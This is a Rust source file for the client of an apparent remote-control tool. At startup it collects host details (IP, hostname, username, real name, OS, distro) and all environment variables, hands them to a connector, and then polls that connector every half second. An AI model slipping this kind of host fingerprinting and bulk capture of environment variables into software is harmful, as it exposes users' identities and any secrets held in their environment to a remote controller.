use gethostname::gethostname;
use std::{thread::sleep, time::Duration};

use crate::connector::Connection;
use remote_control_rs::client;

pub struct Client<'a, C: Connection> {
    pub connector: C,
    inner: client::Client<'a>,
}

impl<'a, C: Connection> std::fmt::Display for Client<'a, C> {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(
            f,
            r#"IP: {:?}
Hostname: {}
Device Name: {}
OS: {}
CPU Architecture: {}
Distro: {}
Desktop Environment: {:?}
Username: {}
Real Name: {}
Languages: {:?}
Environment Variables: {:?}"#,
            self.inner
                .ip,
            self.inner
                .hostname,
            self.inner
                .device_name,
            self.inner
                .os,
            self.inner
                .cpu_arch,
            self.inner
                .distro,
            self.inner
                .desktop_env,
            self.inner
                .username,
            self.inner
                .realname,
            self.inner
                .langs,
            self.inner
                .env
        )
    }
}

impl<'a, C: Connection> Client<'a, C> {
    pub fn new(connector: C) -> Result<Self, C::Err> {
        let c = Self {
            inner: remote_control_rs::client::Client {
                ip: connector.get_ip(),
                hostname: gethostname()
                    .into_string()
                    .unwrap_or_default(),
                device_name: whoami::devicename(),
                os: std::env::consts::OS,
                cpu_arch: std::env::consts::ARCH,
                distro: whoami::distro(),
                desktop_env: whoami::desktop_env(),
                username: whoami::username(),
                realname: whoami::realname(),
                langs: match whoami::langs() {
                    Ok(it) => Some(it.collect()),
                    Err(_) => None,
                },
                env: std::env::vars().collect(),
            },
            connector,
        };
        c.connector
            .init(&c)?;
        Ok(c)
    }

    pub fn enter_loop(mut self) -> ! {
        loop {
            sleep(Duration::from_millis(500));
            self.connector
                .tick();
        }
    }
}